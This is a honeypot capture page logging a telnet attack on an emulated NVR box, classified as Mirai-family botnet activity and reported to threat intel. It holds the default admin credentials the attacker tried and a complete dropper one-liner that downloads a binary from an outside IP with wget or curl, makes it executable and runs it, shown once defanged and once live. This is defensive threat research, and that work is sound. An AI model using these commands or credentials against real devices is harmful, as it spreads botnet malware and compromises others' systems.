HoneyMire Hub

Attack #292102 telnet

Captured 2026-06-29 19:45:45Z by Ka on honeypot LU1 C3 🟡 C3 SuperMini · firmware 1.1.0.

Session recording

Transcript

Server output and attacker input as captured, line-grain. Malware URLs are obscured until sign-in.

Welcome to HiLinux (NVR Box)

hilinux-nvrbox login: admin

Password: gpon@Vnt00

BusyBox v1.20.2 (2015-04-01 10:23:44 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

hilinux-nvrbox# start
sh: start: not found
hilinux-nvrbox# enable
sh: enable: not found
hilinux-nvrbox# config terminal
sh: config: not found
hilinux-nvrbox# system
sh: system: not found
hilinux-nvrbox# linuxshell
sh: linuxshell: not found
hilinux-nvrbox# su
sh: su: not found
hilinux-nvrbox# shell
sh: shell: not found
hilinux-nvrbox# sh
hilinux-nvrbox# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x5a\x55\x4a\x49\x44\x4e'
sh: can't create /usr/.x: nonexistent directory
ZUJIDN
hilinux-nvrbox# /bin/busybox wget;/bin/busybox echo -ne '\x5a\x55\x4a\x49\x44\x4e'
BusyBox v1.20.2 (2015-04-01 10:23:44 CST) multi-call binary.

Usage: wget [-cq] [-O FILE] [--header 'HEADER: VALUE'] URL
ZUJIDNhilinux-nvrbox# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget hxxp://110[.]38[.]211[.]139:53568/i ||curl -O hxxp://110[.]38[.]211[.]139:53568/i ||/bin/busybox wget hxxp://110[.]38[.]211[.]139:53568/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x43\x51\x43\x59\x43\x59\x54\x4c'
sh: can't create /usr/.x: nonexistent directory
Connecting to 110.38.211.139:53568 (110.38.211.139:53568)
saving to 'i'
i                   100% |*******************************| 1234k  0:00:01 ETA
'i' saved
sh: ./i: not found
CQCYCYTL
hilinux-nvrbox# 

Credentials

Username: admin

Password: gpon@Vnt00

1 login attempt(s) before disconnect.

Geolocation hub-resolved

🇵🇰Pakistan · Punjab · Lahore

Cyber Internet Services (Private) Limited · AS9541 Cyber Internet Services (Pvt) Ltd. · 31.58,74.33

Network: isp · Cyber Internet Services · NSP · peeringdb · medium confidence

Behavioral classification

🦠 95% confidence

Mirai-family IoT botnet — wget + chmod + exec; tries common router/IP-cam credentials.

Matched signals:

• wget/curl download
• chmod/exec chain
• BusyBox probing

Command summary

start
enable
config terminal
system
linuxshell
su
shell
sh
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x5a\x55\x4a\x49\x44\x4e'
/bin/busybox wget;/bin/busybox echo -ne '\x5a\x55\x4a\x49\x44\x4e'
>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://110.38.211.139:53568/i ||curl -O http://110.38.211.139:53568/i ||/bin/busybox wget http://110.38.211.139:53568/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\x43\x51\x43\x59\x43\x59\x54\x4c'

Reported to threat intel

AlienVault OTX ✓